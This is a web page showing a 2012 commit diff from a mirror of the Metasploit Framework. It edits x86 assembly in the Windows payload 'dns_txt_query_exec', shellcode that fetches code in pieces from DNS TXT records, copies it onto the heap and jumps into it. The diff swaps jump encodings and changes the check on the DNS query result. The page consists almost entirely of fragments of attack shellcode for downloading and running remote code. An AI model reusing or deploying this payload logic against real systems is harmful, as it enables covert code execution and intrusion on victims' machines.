infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge branch 'dns_txt_query_exe' of git://github.com/corelanc0d3r/metasploit-framework into corelanc0d3r-dns_txt_query_exe

unstable
sinn3r 2012-11-16 11:52:57 -06:00
parent 8375bb8390 0bf92b5d97
commit 8648d21b3c
1 changed files with 7 additions and 7 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

14
modules/payloads/singles/windows/dns_txt_query_exec.rb
View File

@ -160,7 +160,7 @@ get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module jmp.i8 next_mod ; Process this module
; actual routine ; actual routine
start: start:
@ -195,7 +195,7 @@ load_dnsapi:
mov bl,0x61 ; first query, start with 'a' mov bl,0x61 ; first query, start with 'a'
dnsquery: dnsquery:
jmp get_dnsname ; get dnsname jmp.i8 get_dnsname ; get dnsname
get_dnsname_return: get_dnsname_return:
pop eax ; get ptr to dnsname (lpstrName) pop eax ; get ptr to dnsname (lpstrName)
@ -215,7 +215,7 @@ get_dnsname_return:
call ebp ; call ebp ;
test eax, eax ; query ok ? test eax, eax ; query ok ?
jnz jump_to_payload ; no, jump to payload jnz jump_to_payload ; no, jump to payload
jmp get_query_result ; eax = 0 : a piece returned, fetch it jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it
get_dnsname: get_dnsname:
@ -225,9 +225,9 @@ get_dnsname:
get_query_result: get_query_result:
xchg #{bufferreg},edx ; save start of heap xchg #{bufferreg},edx ; save start of heap
pop #{bufferreg} ; heap structure containing DNS results pop #{bufferreg} ; heap structure containing DNS results
mov eax,[#{bufferreg}] ; if first dword has a non-null value, then stop mov eax,[#{bufferreg}+0x18] ; check if value at offset 0x18 is 0x1
test eax,eax cmp eax,1
jnz prepare_payload ; jmp to payload jne prepare_payload ; jmp to payload
add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply
mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply
@ -243,7 +243,7 @@ copy_piece_to_heap:
push edi ; push edi ;
inc ebx ; increment sequence inc ebx ; increment sequence
xchg #{bufferreg},edx ; restore start of heap xchg #{bufferreg},edx ; restore start of heap
jmp dnsquery ; try to get the next piece, if any jmp.i8 dnsquery ; try to get the next piece, if any
prepare_payload: prepare_payload:
mov #{bufferreg},edx mov #{bufferreg},edx